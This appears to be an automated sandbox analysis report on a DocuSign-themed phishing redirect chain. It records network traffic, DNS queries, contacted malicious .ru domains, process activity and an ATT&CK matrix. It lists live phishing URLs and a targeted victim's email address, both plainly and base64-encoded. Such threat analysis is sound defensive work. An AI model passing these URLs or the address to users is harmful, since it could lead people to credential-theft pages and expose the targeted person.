Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://9qb.bitualicar.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://9qb.bitualicar.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/c8ec7565fab7/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://9qb.bitualicar.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://9qb.bitualicar.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=AGfeUzaf03ole3UZdo3sw.tVzppeUi6B6U9JJTJK4X8-1741901010-1.0.1.1-B3Do2091mvtuwentEHDxoDchtQePpdJBCRVLoy0iApwBSvIRWZPAcURVgxwQOLmYpNR4H6jJmUukUxnzFq_mAqqsXrqXSOZcnbDUJDlnqco
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://9qb.bitualicar.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250313%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250313T212352Z&X-Amz-Expires=300&X-Amz-Signature=f7d2a3838894a0300387406d72b93565186127ee4b05282c35446ff5953990b3&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://9qb.bitualicar.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20= HTTP/1.1Host: moviepazes.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: newsletter-editor.poweredbyintegra.dk
Source: global traffic	DNS traffic detected: DNS query: moviepazes.com
Source: global traffic	DNS traffic detected: DNS query: upload.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: 9qb.bitualicar.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 6l8o7.zvaznx.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru

Source: unknown

HTTP traffic detected: POST /report/v4?s=%2B8ekmxgr3tWLi6qpGXIXchACLLK7nIasMSuz1idL8UJ3e25JWKCYb39LBvRwug2l8cnCpDJ4jpEP7a4D5AxLCXHKmAJGoG17Zm3V2rRBuEbkPWeB8XSclqQgKzFI HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 426Content-Type: application/reports+jsonOrigin: https://9qb.bitualicar.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: cloudflareDate: Thu, 13 Mar 2025 21:24:03 GMTContent-Type: text/htmlContent-Length: 553Connection: closeCF-RAY: 91fe98917e713d59-JAX
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: cloudflareDate: Thu, 13 Mar 2025 21:24:09 GMTContent-Type: text/htmlContent-Length: 553Connection: closeCF-RAY: 91fe98ba7cad9ae2-JAX
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: cloudflareDate: Thu, 13 Mar 2025 21:24:17 GMTContent-Type: text/htmlContent-Length: 553Connection: closeCF-RAY: 91fe98ebb94568cc-JAX

Source: chromecache_101.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_101.1.dr	String found in binary or memory: https://github.com/fent)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 57712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57721
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57723
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57692
Source: unknown	Network traffic detected: HTTP traffic on port 57702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 57717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57699
Source: unknown	Network traffic detected: HTTP traffic on port 57703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57707
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57702
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57704
Source: unknown	Network traffic detected: HTTP traffic on port 57718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57700
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57717
Source: unknown	Network traffic detected: HTTP traffic on port 57711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57713
Source: unknown	Network traffic detected: HTTP traffic on port 57719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57712
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57711
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6720_1301911604

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6720_1301911604

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.win@23/88@46/21

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2356,i,10442908303171519739,11556857756762525044,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2384 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://newsletter-editor.poweredbyintegra.dk/?NewsLetterTracker=true&bio=holstebrony&newsletter_ID=1&Text=Eget%20billede%20(ingen%20mellemrum)&Code=106&utcmabite=f9d0de3f-59af-46e8-b932-e8ab5db62f67&biocode=holstebrony&RedirectUrl=moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2356,i,10442908303171519739,11556857756762525044,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2384 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 1.1.d.script.csv, type: HTML
Source: Yara match	File source: 2.12..script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	5 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	6 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://newsletter-editor.poweredbyintegra.dk/?NewsLetterTracker=true&bio=holstebrony&newsletter_ID=1&Text=Eget%20billede%20(ingen%20mellemrum)&Code=106&utcmabite=f9d0de3f-59af-46e8-b932-e8ab5db62f67&biocode=holstebrony&RedirectUrl=moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20=	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20=	0%	Avira URL Cloud	safe
https://uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru/jCybmfFgLcOZYGZfEquKIIxBfQHwLQLFBOAEHUJYPBGTDICYJBHLDEVGYECAJpqlnZ12wzjhyzWQuv32	0%	Avira URL Cloud	safe
https://uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru/jCybmfFgLcOZYGZfEquKIIxBfQHwLQLFBOAEHUJYPBGTDICYJBHLDEVGYECAJrsV2MKVCScU9gHTyKn4342Mrbewx40	0%	Avira URL Cloud	safe
https://uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru/jCybmfFgLcOZYGZfEquKIIxBfQHwLQLFBOAEHUJYPBGTDICYJBHLDEVGYECAJpq4nicFpnaWm434Zwwx31	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
newsletter-editor.poweredbyintegra.dk	188.180.76.204	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.6.189	true	false	high
github.com	140.82.121.3	true	false	high
9qb.bitualicar.ru	172.67.217.102	true	true	unknown
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
6l8o7.zvaznx.ru	104.21.32.1	true	false	unknown
get.geojs.io	104.26.0.100	true	false	high
www.google.com	142.250.186.68	true	false	high
upload.wikimedia.org	185.15.59.240	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.14	true	false	high
moviepazes.com	68.178.148.66	true	false	unknown
objects.githubusercontent.com	185.199.109.133	true	false	high
uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru	188.114.97.3	true	false	unknown
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://9qb.bitualicar.ru/2Q5WxE/#Rdavid.sedlick@oneatlas.com	false		unknown
https://moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20=	false	Avira URL Cloud: safe	unknown
https://upload.wikimedia.org/wikipedia/commons/thumb/e/e3/Docusign_Full_Color.svg/500px-Docusign_Full_Color.svg.png	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
http://moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20=	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru/jCybmfFgLcOZYGZfEquKIIxBfQHwLQLFBOAEHUJYPBGTDICYJBHLDEVGYECAJpq4nicFpnaWm434Zwwx31	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/c8ec7565fab7/api.js	false		high
https://uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru/jCybmfFgLcOZYGZfEquKIIxBfQHwLQLFBOAEHUJYPBGTDICYJBHLDEVGYECAJrsV2MKVCScU9gHTyKn4342Mrbewx40	false	Avira URL Cloud: safe	unknown
https://uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru/jCybmfFgLcOZYGZfEquKIIxBfQHwLQLFBOAEHUJYPBGTDICYJBHLDEVGYECAJpqlnZ12wzjhyzWQuv32	false	Avira URL Cloud: safe	unknown
https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	true		unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://a.nel.cloudflare.com/report/v4?s=%2B8ekmxgr3tWLi6qpGXIXchACLLK7nIasMSuz1idL8UJ3e25JWKCYb39LBvRwug2l8cnCpDJ4jpEP7a4D5AxLCXHKmAJGoG17Zm3V2rRBuEbkPWeB8XSclqQgKzFI	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/fent)	chromecache_101.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
13.33.187.14	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
104.26.1.100	unknown	United States	13335	CLOUDFLARENETUS	false
185.15.59.240	upload.wikimedia.org	Netherlands	14907	WIKIMEDIAUS	false
185.199.109.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.21.96.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.16.6.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.2.189	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.32.1	6l8o7.zvaznx.ru	United States	13335	CLOUDFLARENETUS	false
13.33.187.68	unknown	United States	16509	AMAZON-02US	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
68.178.148.66	moviepazes.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
172.67.217.102	9qb.bitualicar.ru	United States	13335	CLOUDFLARENETUS	true
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
188.180.76.204	newsletter-editor.poweredbyintegra.dk	Denmark	3292	TDCTDCASDK	false
188.114.97.3	uc9bzvjvebcratpimcepimvuj9b7bdwpggsrqf8t9xyhqiwynnuj4s2j4d.sngsfond.ru	European Union	13335	CLOUDFLARENETUS	false
104.26.0.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637750
Start date and time:	2025-03-13 22:22:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://newsletter-editor.poweredbyintegra.dk/?NewsLetterTracker=true&bio=holstebrony&newsletter_ID=1&Text=Eget billede (ingen mellemrum)&Code=106&utcmabite=f9d0de3f-59af-46e8-b932-e8ab5db62f67&biocode=holstebrony&RedirectUrl=moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20=
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.evad.win@23/88@46/21

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.206, 142.250.186.163, 172.217.23.110, 74.125.133.84, 142.250.184.238, 142.250.181.238, 142.250.185.78, 184.30.131.245, 142.250.186.174, 142.250.186.46, 142.250.185.110, 142.250.186.42, 142.250.186.74, 172.217.23.106, 142.250.185.138, 172.217.16.138, 172.217.16.202, 172.217.18.10, 142.250.74.202, 142.250.185.74, 216.58.206.74, 142.250.184.234, 142.250.186.106, 142.250.186.138, 216.58.206.42, 142.250.185.106, 216.58.212.138, 142.250.185.131, 142.250.184.206, 142.250.186.35, 172.217.18.14, 23.60.203.209, 4.245.163.56
